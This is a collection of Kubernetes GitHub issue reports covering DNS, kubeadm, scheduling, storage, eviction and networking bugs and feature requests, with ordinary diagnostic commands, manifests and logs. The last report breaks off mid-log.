<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r dig will be stoped and return empty when dnsmasq replied \ refused\ \r   what you expected to happen  :\r dig success finially when handling replies from dnsmasq\r   how to reproduce it  as minimally and precisely as possible   :\r 1. start the kubernetes conformance test with the test case \ should provide dns for cluster  \ .\r 2. login the dns test container k8s_jessie-querier_dns-test and use dig command.\r   anything else we need to know?  :\r 1. e2e test version: v1.12.1\r 2. dig version in the e2e test: dig 9.9.5-9+deb8u15-debian\r    dig result:\r    dig +tcp +noall +answer +search kubernetes.default.svc.cluster.local a\r    \r \r 3. dig version installed manually on host: dig 9.9.4-redhat-9.9.4-61.el7_5.1\r     dig result:\r     dig  +tcp +noall +answer +search kubernetes.default.svc.cluster.local a\r     kubernetes.default.svc.cluster.local. 5 in a 10.254.0.1\r \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r hi, \r \r i've noticed the  node.spec.podcidr  was missing on my worker nodes, though the master node does provide both the key and value for the  node.spec.podcidr  treat:\r    \r foo:daemonset milan$ kubectl get node empress --output json | jq .spec\r {\r   \ podcidr\ : \ 10.244.0.0/24\ ,\r   \ taints\ :  \r     {\r       \ effect\ : \ noschedule\ ,\r       \ key\ : \ node-role.kubernetes.io/master\ \r     },\r     {\r       \ effect\ : \ noschedule\ ,\r       \ key\ : \ node.kubernetes.io/not-ready\ \r     }\r    \r }\r foo:daemonset milan$ kubectl get node princess --output json | jq .spec\r {\r   \ taints\ :  \r     {\r       \ effect\ : \ noschedule\ ,\r       \ key\ : \ node.kubernetes.io/not-ready\ \r     }\r    \r }\r foo:daemonset milan$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r foo:daemonset milan$\r    \r \r as a consequence, e.g the   kube-router   https://www.kube-router.io/   v0.2.5  worker daemon fails to start with an error like this:\r \r    \r foo:daemonset milan$ kubectl -n kube-system logs kube-router-arm64-sshw2\r i0418 09:34:12.706389    9348 kube-router.go:207  running /usr/local/bin/kube-router version v0.2.5, built on 2019-04-16t12:16:38+0200, go1.10.3\r i0418 09:34:13.335132    9348 network_policy_controller.go:141  starting network policy controller\r i0418 09:34:13.349271    9348 network_routes_controller.go:979  could not find annotaion  kube-router.io/bgp-local-addresses  on node object so bgp will listen on node ip: 192.168.0.32 address.\r i0418 09:34:13.350612    9348 network_routes_controller.go:320   subnet  in cni conf file is empty so populating  subnet  in cni conf file with pod cidr assigned to the node obtained from node spec.\r f0418 09:34:13.368985    9348 network_routes_controller.go:327  failed to get pod cidr from node spec. kube-router relies on kube-controller-manager to allocate pod cidr for the node or an annotation  kube-router.io/pod-cidr . error: node.spec.podcidr not set for node: princess\r    \r \r iirc this used to work just ok in kubernetes v1.13.z\r \r   what happened  :\r  node.spec.podcidr  is missing on worker nodes\r \r   what you expected to happen  :\r having deployed kubernetes master node by  kubeadm init --pod-network-cidr=10.244.0.0/24 --token-ttl=0  i'd expect the worker node would have  node.spec.podcidr  populated once it joined the cluster by  kubeadm join 192.168.0.17:6443 --token ip6wvr.w8m8u34zmpeee706 \\\r     --discovery-token-ca-cert-hash sha256:70228a58dd14c6609553dcc50b009e55a4fdb2fc6bcf87b5ee32da1504ed8cac  which wasn't the case.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r -  master node:  kubeadm init --pod-network-cidr=10.244.0.0/24 --token-ttl=0 \r - worker node:  kubeadm join 192.168.0.17:6443 --token ip6wvr.w8m8u34zmpeee706 \\\r     --discovery-token-ca-cert-hash  \r -  kubectl get node princess --output json | jq .spec \r - also deploying kube-router fails with  f0418 09:34:13.368985    9348 network_routes_controller.go:327  failed to get pod cidr from node spec. kube-router relies on kube-controller-manager to allocate pod cidr for the node or an annotation  kube-router.io/pod-cidr . error: node.spec.podcidr not set for node: princess \r \r   anything else we need to know?  :\r master arch: amd64 worker arch 1x arm64 2x amd64 all worker nodes exhibit same issue although the master  node.spec.podcidr  is present.\r \r i used to run k8s v1.13.z without issues previously, tried deploying v1.14.1 couple of times with the same error. i ran  kubeadm reset -f  on all the nodes before updating to v1.14.1, cleaned  iptables  and  ipvsadm , removed  /etc/kubernetes  completely on all the nodes.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.1\r - cloud provider or hardware configuration: baremetal\r - os  e.g:  cat /etc/os-release  : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : linux princess 4.9.0-6-arm64-si  1 smp debian 4.9.82-1+deb9u3.softiron3  2018-07-06  aarch64 gnu/linux\r - install tools: kubeadm\r - others: manual deployment\r \r 

rkt support assumes all ports have names while this is not always the case in kubernetes. we should create default port names in these situations.  /cc @yifan-gu @jonboulle @dchen1107

powering through the code here: https://github.com/kubernetes/kubernetes/blob/master/cluster/images/hyperkube/static-pods/master.json  i see references to tls certification / ca files / etc.  i've tried for the life of me to get this working by going through http://kubernetes.io/docs/admin/authentication/  and applying it to:  http://kubernetes.io/docs/getting-started-guides/docker/  but i get a      --client-ca-file unknown flag      error when launching the  kubelet .  it is possible to get some guidance on how to enable the local docker kubernetes development to use tls certificates?

pods are useful to co-schedule multiple containers together.  we would like to use it to co-schedule things like a user code running container with a container doing nslcd for ldap support of the user code.  i want to put a prestop hook on the user container to start the drain and wait until the user's code cleanly exits  its time limited but could be hours . but the ldap container quits early. there should be a way to request that all the containers in a pod's prestop hooks are finished before term's are sent to any container.  reproducer:      apiversion: v1 kind: pod metadata:   name: test-shutoff spec:   volumes:     - name: \ data\    containers:     - name: test1       image: centos:centos7       command:       - /bin/bash       - -c       - \ trap exit term; while true; do cat /srv/date; sleep 1; done\        volumemounts:       - mountpath: /srv         name: \ data\        lifecycle:         prestop:           exec:             command:             - /bin/sh             - -c             - sleep 15     - name: test2       image: centos:centos7       command:       - /bin/bash       - -c       - \ trap exit term; while true; do date > /srv/date; sleep 1; done\        volumemounts:       - mountpath: /srv         name: \ data\       if you create the pod, start watching test1's logs, and delete the pod, the date printed should continue to increment until ~15 seconds after deletion starts. on my system, it stops incrementing.

i keep coming back to the idea of running dynamodb for apiserver data storage instead of etcd.  is this a good idea or am i a bit crazy? happy to start hacking on this if but wanted to create an issue first.

alpha groups  and resources  should be off by default and turned on by the testing setup scripts. we need to have a test that makes it obvious what apis are on by default.

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node   https://k8s-testgrid.appspot.com/google-gce gci-gce-serial-release-1.3

@gmarek and @wojtek-t brought up two related issues with the current implementation of requiredduringscheduling podaffinity.\r \r 1  if pod a has requiredduringscheduling affinity for pod b, and pod b has requiredduringscheduling affinity for pod a, then neither will ever schedule.  more generally any time there is a cycle, none of the pods in the cycle will schedule.  we fixed this  in a hacky way  for the case of a having affinity for other pods from the same collection as a  see  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1175  , so you can write rules like \ put all the pods from collection a in the same zone\  without having the first pod block forever, but we didn't consider the cases of multiple mutually dependent collections.\r \r 2  even if we fix  1 , i.e. implement a similar workaround for cycles as we did for same-collection, if you use topologykey == node because you want to \ pair up\  two or more pods, when you add new nodes they won't go onto the new nodes. you would need the workaround to trigger each time you add a new node, not just to get the first pod to schedule.\r \r these issues don't apply to pod anti-affinity, only pod affinity.\r \r my opinion:\r \r i can understand that people might want the \ pair up\  behavior described in  2 , but i don't think we should contort the semantics of pod affinity to provide it. if you write a rule that pods from collection a can only run on nodes that are already running a pod from b, and pods from collection b can only run on nodes that are already running a pod from a, and somehow one pod from a and one pod from b are running  on the same node, of course , then when you add more nodes i don't think there's any reason to think new a pod from a or b will schedule there.  same argument if the topologykey is zone instead of node and you add a new zone.  i think getting the  first  pod to schedule  what's described in  1  , while it also violates a strict interpretation of the semantics of the rule, is more reasonable because without that, nothing can schedule at all.\r \r however, i'm not sure we should do either  1  or  2 , as there are reasonable workarounds. one option is to put all the containers that need to run together on the same node into the same pod. when you add new nodes, replicas of the pod  and therefore the set of containers  can schedule onto the new node. another option is to put the requiredduringscheduling in only one direction  btw when you put requiredduringscheduling pod affinity in one direction, the scheduler implicitly adds a preferredduringscheduling pod affinity in the opposite direction .  in the case of a cycle of depenencies, just make sure at least one edge is preferredduringscheduling, not requiredduringscheduling.  add requiredduringscheduling anti-affinity if you want to make sure the pods don't run on the same node  or zone or whatever .i think this is probably \ good enough\  for addressing  1  and  2 .\r \r happy to hear other people's opinions.\r \r cc/ @kevin-wangzefeng @kubernetes/sig-scheduling-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r configuring container resources with random name with format \ foo/bar\  doesn't throw a validation error. the pod creates and runs successfully with invalid resource type.\r \r   what you expected to happen  :\r validate container resource name with \ /\ \r \r   how to reproduce it    as minimally and precisely as possible :\r configure resources.requests foo/bar =10 in pod spec.\r \r   anything else we need to know  :\r \r

- describe  in detail  the feature/behavior/change you'd like to see.\r since 1.6 daemonsets now respect node taints. this makes running a self-hosted kubernetes problematic as kube-proxy/flannel etc are all scheduled by daemonsets. in a very stable environment where you know all the node taints you use and can add those to all the daemonsets ahead of time this isn't much of an issue. however we add and remove tainted node pools to our cluster semi-frequently and having to patch all the daemonsets to do that is disruptive.\r \r i'd like to propose the ability to specify a wildcard toleration something like:\r    \r scheduler.alpha.kubernetes.io/tolerations: ' {\ key\ :\ dedicate\ , \ value\ :\  \ } '\r    \r \r   kubernetes version    use  kubectl version  :\r 1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r \r -   os    e.g. from /etc/os-release :\r containerlinux\r \r -   kernel    e.g.  uname -a  :\r n/a\r \r -   install tools  :\r private bootstrap\r \r   what happened  :\r none of my tainted nodes join the cluster successfully anymore because my daemonsets no longer schedule to all nodes.\r \r   what you expected to happen  :\r i'd expect there would be a way to tolerate any taint.\r \r

encountered this flake on  pull-kubernetes-unit  suite:\r \r    \r command: go test -v k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler -run test_run_onevolumeattachanddetachmultiplenodeswithreadwritemany$\r \r \r reconciler_test.go:509: warning: wrong newattachercallcount. expected: <2> actual: <0>. will retry.\r reconciler_test.go:370: volume was not attached to both nodes\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46242/pull-kubernetes-unit/31946/

is this a bug report or feature request?  :\r kind/bug\r \r   what happened  :\r see $subject\r \r   what you expected to happen  :\r see $subject\r \r   how to reproduce it  as minimally and precisely as possible   :\r see $subject\r \r   anything else we need to know?  :\r no\r \r   environment  :\r n/a

failure cluster  145704857a138152b65b  https://go.k8s.io/triage 145704857a138152b65b        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ slow\\  --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    28 jobs failed,    196 builds failed. failure stats cover 1 day time range '10 sep 2017 21:22 utc' to '11 sep 2017 21:22 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-slow-stable1 | 21 |  11 sep 2017 20:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow-stable1/67  | | ci-kubernetes-e2e-gci-gce-slow | 21 |  11 sep 2017 18:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/9021  | | ci-kubernetes-e2e-gce-slow | 19 |  11 sep 2017 20:20 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow/8157  |   current status  https://go.k8s.io/triage 145704857a138152b65b

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r we use kubeadm init's --kubernetes-version option to install specific versions of kubernetes for testing purposes. prior to running kubeadm, you have to install it. the kubeadm instructions ask you to install not just kubeadm but also kubectl and kubelet from the appropriate repo:\r \r https://kubernetes.io/docs/setup/independent/install-kubeadm/ installing-kubeadm-kubelet-and-kubectl\r \r the upshot of that is that you can end up with kubeadm, kubectl and kubelet versions that are  potentially much  newer than the kube containers that kubeadm runs based on the --kubernetes-version option.\r \r this hasn't caused any noticeable issues in the past, but with the advent of 1.8 we started to notice that iscsi mounts were suddenly failing. however, if we downgrade kubelet to match the version of kubernetes we installed, it works fine.\r \r   what you expected to happen  :\r kubeadm should install the matching version of kubelet  and perhaps kubectl as well  during init and upgrade rather than asking the user to install it separately to avoid issues like this entirely. at the very least there should be a pre-flight check that warns the user that they chose a version of kubernetes that's different from the version of kubelet on their machine.\r \r   how to reproduce it  as minimally and precisely as possible   :\r if you follow the kubeadm instructions to the letter today but specify 'stable-1.7' as your version when you run kubeadm init, you will end up with:\r \r kube-apiserver: 1.7.8\r kube-controller-manager: 1.7.8\r kube-scheduler: 1.7.8\r kube-proxy: 1.7.8\r kubeadm: 1.8.1\r kubectl: 1.8.1\r kubelet: 1.8.1\r \r if you create an iscsi pv after that and try to consume it from a pod, the kubelet will fail to mount it. if you then downgrade kubelet to 1.7.8, the mount succeeds.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r vm\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux scspa0328555001 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i configured kubelet with the parameters \ --eviction-hard=memory.available<1gi --eviction-minimum-reclaim=memory.available=200mi\ . i kept on adding pods that claim 50 mb memory each until eviction was triggered. only one of my pods was evicted by this.\r \r   what you expected to happen  :\r \r according to the documentation i expected at least 4 pods to be evicted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - set up a cluster of one minion and one master using kubeadm.\r - by default the master is configured to not schedule pods - don't change this.\r - on the minion add the parameters  --eviction-hard=memory.available<1gi --eviction-minimum-reclaim=memory.available=200mi  to kubelet.\r - keep on creating pods that use 50 mb each  i used \ stress\ .  until eviction is triggered.\r - use  kubectl get pod --all-namespaces -a  to see how many pods were evicted. \r \r   anything else we need to know?  :\r \r i didn't specify \ request\  or \ limit\  values for my pods.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration: local vms\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-87-generic\r - install tools: kubeadm\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when i operate the following files\r    \r kubectl apply -f ceph-sc.yml -f rbc-pvc.yml -f  rbd-mount-pod.yml\r    \r i want to get ab rbd volume witch be created by  storageclass to be mounted into my pod.\r \r ceph-sc.yml\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r    name: ceph\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 192.168.0.10:6789\r   adminid: admin\r   adminsecretname: ceph-admin-secret\r   pool: rbd\r   userid: admin\r   usersecretname: ceph-admin-secret\r    \r \r rbc-pvc.yml\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: rbd-pvc\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 3gi\r   storageclassname: ceph\r    \r  rbd-mount-pod.yml\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: rbd-mount-pod\r spec:\r   containers:\r   - name: mount-pod\r     image: busybox\r     command:\r       - \ /bin/sh\ \r     args:\r       - \ -c\ \r       - \ touch /mnt/success; while :; do sleep 3600; done\ \r     volumemounts:\r       - name: pvc\r         mountpath: \ /mnt/\ \r   restartpolicy: \ never\ \r   volumes:\r     - name: pvc\r       persistentvolumeclaim:\r         claimname: rbd-pvc\r    \r \r   what you expected to happen  :\r but i got a pedding status\r    \r name         status    volume    capacity   access modes   storageclass   age\r rbd-pvc      pending                                       ceph           32m\r    \r when i check the status of this pvc get this message\r    \r events:\r   type     reason              age                 from                         message\r   ----     ------              ----                ----                         -------\r   warning  provisioningfailed  4m  x122 over 34m   persistentvolume-controller  failed to provision volume with storageclass \ ceph\ : failed to create rbd image: executable file not found in $path, command output:\r    \r so i checked again that the controller manager got other messages\r    \r w1209 20:32:24.798551       1 rbd_util.go:395  failed to create rbd image, output\r e1209 20:32:24.798577       1 rbd.go:367  rbd: create volume failed, err: failed to create rbd image: executable file not found in $path, command output:\r w1209 20:32:39.775899       1 rbd_util.go:395  failed to create rbd image, output\r e1209 20:32:39.775931       1 rbd.go:367  rbd: create volume failed, err: failed to create rbd image: executable file not found in $path, command output:\r    \r \r \r   anything else we need to know?  :\r this seems to represent the controller manager is not installed ceph common.\r this bothers me for a long time. can anyone help me?\r \r \r   environment  :\r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux osd-k8s 4.4.0-101-generic  124-ubuntu smp fri nov 10 18:29:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r    \r kubeadm\r    \r - others:\r    \r ceph jewel\r    \r

 \r this issue is to ensure that the there is a node authorizer rule added to ensure that kubelets are only allowed to access csi volumeattachment objects related to the node.  for instance, during volume.setupat,  the csi code creates a volumeattachment and saves it as an api object.  the authorizer would ensure that the new object can only come from a pod corresponding to volume referenced by a pod scheduled on that node.\r \r  see https://github.com/kubernetes/kubernetes/pull/56533 pullrequestreview-79728137 \r \r info resources for authorizer\r - authorizer proposal - https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/kubelet-authorizer.md node-authorizer\r - authorizer code https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/node/\r - kubelet authorizer - https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/kubelet-authorizer.md node-authorizer

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r it was deprecated in 1.10.  can be removed in 1.11.\r

is this a bug report or feature request?\r \r choose one: bug report\r \r \r    versions\r \r   kubeadm version    use  kubeadm version  : \r \r   environment  :\r -   kubernetes version    use  kubectl version  : 1.11.0\r -   cloud provider or hardware configuration  : none\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : \r -   others  :\r \r \r    what happened?\r \r i'm trying to set up a kubernetes  v1.11.0  cluster. here is the setting of the cluster:\r 1. enable ipvs in kube-proxy\r 2. use hostport for nginx ingress controller. deloy nginx ingress controller on the same node as kubenetes core services.\r \r host port 443 and 80 of nginx ingress controller is conflict with kubernetes  kube-apiserver  service's port 443 and 80. nginx ingress controller keeps crashloopback because failed to connect to kube-apiserver. i even cannot run   telnet 10.0.0.1 443 .\r \r try to find the root cause. here is the iptable rules generated\r    \r chain prerouting  policy accept \r target     prot opt source               destination\r cali-prerouting  all  --  anywhere             anywhere             /  cali:6gwbt8clxdhdc1b1  /\r cni-hostport-dnat  all  --  anywhere             anywhere             addrtype match dst-type local\r kube-services  all  --  anywhere             anywhere             /  kubernetes service portals  /\r docker     all  --  anywhere             anywhere             addrtype match dst-type local\r \r chain input  policy accept \r target     prot opt source               destination\r \r chain output  policy accept \r target     prot opt source               destination\r cali-output  all  --  anywhere             anywhere             /  cali:tvnhkvao15huipy0  /\r cni-hostport-dnat  all  --  anywhere             anywhere             addrtype match dst-type local\r kube-services  all  --  anywhere             anywhere             /  kubernetes service portals  /\r docker     all  --  anywhere            !127.0.0.0/8          addrtype match dst-type local\r \r chain postrouting  policy accept \r target     prot opt source               destination\r cali-postrouting  all  --  anywhere             anywhere             /  cali:o3lywmrlqyemjtb5  /\r cni-hostport-snat  all  --  localhost           !localhost\r kube-postrouting  all  --  anywhere             anywhere             /  kubernetes postrouting rules  /\r masquerade  all  --  172.17.0.0/16        anywhere\r    \r \r  the  cni-hostport  related iptable rules are on top of  kube-services  rule.  as you seen the pre-routing rule\r \r    \r chain prerouting  policy accept \r target     prot opt source               destination\r cali-prerouting  all  --  anywhere             anywhere             /  cali:6gwbt8clxdhdc1b1  /\r cni-hostport-dnat  all  --  anywhere             anywhere             addrtype match dst-type local\r kube-services  all  --  anywhere             anywhere             /  kubernetes service portals  /\r docker     all  --  anywhere             anywhere             addrtype match dst-type local\r    \r \r every time i call  https://10.0.0.1:443  it will match  cni-hostport-dnat  rule to redirect to nginx ingress service. that's why i got failure when calling kubernetes api with service ip.\r \r    what you expected to happen?\r should always take  kube-services  rule first rather than  cni-hostport-dnat . so the pre-routing rule should be like\r \r    \r chain prerouting  policy accept \r target     prot opt source               destination\r cali-prerouting  all  --  anywhere             anywhere             /  cali:6gwbt8clxdhdc1b1  /\r kube-services  all  --  anywhere             anywhere             /  kubernetes service portals  /\r cni-hostport-dnat  all  --  anywhere             anywhere             addrtype match dst-type local\r docker     all  --  anywhere             anywhere             addrtype match dst-type local\r    \r \r    how to reproduce it  as minimally and precisely as possible ?\r see above append.\r \r    anything else we need to know?\r \r when i restarted kube-proxy, the iptable rules were generated correctly. nginx ingress controller now started successfully.\r

a fully qualified kind   groupversionkind   maps to at most one  restmapping .  a  restmapping  has exactly one  restscope .  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/meta/interfaces.go l153 and https://github.com/kubernetes/kubernetes/blob/master/pkg/api/meta/interfaces.go l132.  this causes problems when you want to have a single kind that is both cluster-scoped and namespace-scoped.  openshift faced this problem with  roles .  we wanted a single kind that would be accessible at both scopes.  it failed because: 1. the  restmapper.restmapping  call had an ambiguous return. 2. namespace= \ \   in a serialized object sometimes means \ no namespace\ , sometimes means \ default\ , sometimes means \ current-namespace\ , and sometimes means \ cluster-scoped\ .   i can also mean \ all namespaces\  depending on where in the codebase you are . 3.  objectreferences  are hard to reason about because in most cases, namespace=\ \  means \ current namespace\ , but if a given resource can be at both scopes the meaning is ambiguous.  for a while we tried to have a \ special\  namespace that had resources which affected all namespaces.  this was a disaster.  it was extremely difficult to explain in documentation, caused special casing code to multiply to handle the magic namespace, and meant that granting power to maintain that one resource propogated power everywhere.  we ended up creating two separate kinds that shared the same fields.  see  role  https://github.com/openshift/origin/blob/master/pkg/authorization/api/types.go l144 and  clusterrole  https://github.com/openshift/origin/blob/master/pkg/authorization/api/types.go l311.  code that makes use of these resources and doesn't need to distinguish can manage getters via a common interface: https://github.com/openshift/origin/blob/master/pkg/authorization/interfaces/interfaces.go l25-l30.  conversion between cluster-scoped kinds and namespace-scope kinds turned out to be fraught because rules around  objectreferences  became difficult to explain.

hello, everyone  my kubernetes version is 1.3.0.  my setup for apiserver is as follows:       unit  description=kubernetes api server documentation=https://github.com/googlecloudplatform/kubernetes  service  execstart=/opt/kubernetes/bin/kube-apiserver  \\         --logtostderr=true \\         --v=0 \\         --etcd_servers=http://172.32.1.36:2379 \\         --secure-port=443 \\         --service-cluster-ip-range=10.254.10.0/24 \\         --token-auth-file=/opt/kubernetes/security/token_auth.csv restart=on-failure  install  wantedby=multi-user.target      the /opt/kubernetes/security/token_auth.csv file include:      7zrtozxpliot3dbd36pmfoxv06gv97da,likunn,adminn      my kubelet start script is as follows:       unit  description=kubelet documentation=https://github.com/googlecloudplatform/kubernetes  service  execstart=/opt/kubernetes/bin/kubelet  \\         --logtostderr=true \\         --v=10 \\         --address=0.0.0.0 \\         --cluster-dns=10.254.10.10 \\         --cluster-domain=kube.local \\         --api-servers=https://172.32.1.36 restart=on-failure  install  wantedby=multi-user.target      and the /var/lib/kubelet/kubconfig:      apiversion: v1 clusters:  - cluster:     server: https://172.32.1.36   name: qinghua contexts:  - context:     cluster: qinghua     user: admin   name: my-context current-context: my-context kind: config preferences: {} users:  - name: admin   user:     token: 7zrtozxpliot3dbd36pmfoxv06gv97da      now, here is the problem , when i start kubelet, the log says:      jul 27 05:44:32 ip-172-32-1-118.us-west-1.compute.internal kubelet 21438 : e0727 05:44:32.889810   21438 reflector.go:205  pkg/kubel et/kubelet.go:262: failed to list  api.service: get https://172.32.1.36/api/v1/services?resourceversion=0: x509: certificate signed  by unknown authority jul 27 05:44:32 ip-172-32-1-118.us-west-1.compute.internal kubelet 21438 : i0727 05:44:32.889529   21438 round_trippers.go:324  resp onse headers: jul 27 05:44:32 ip-172-32-1-118.us-west-1.compute.internal kubelet 21438 : i0727 05:44:32.889297   21438 round_trippers.go:318  get  https://172.32.1.36/api/v1/services?resourceversion=0  in 1 milliseconds jul 27 05:44:32 ip-172-32-1-118.us-west-1.compute.internal kubelet 21438 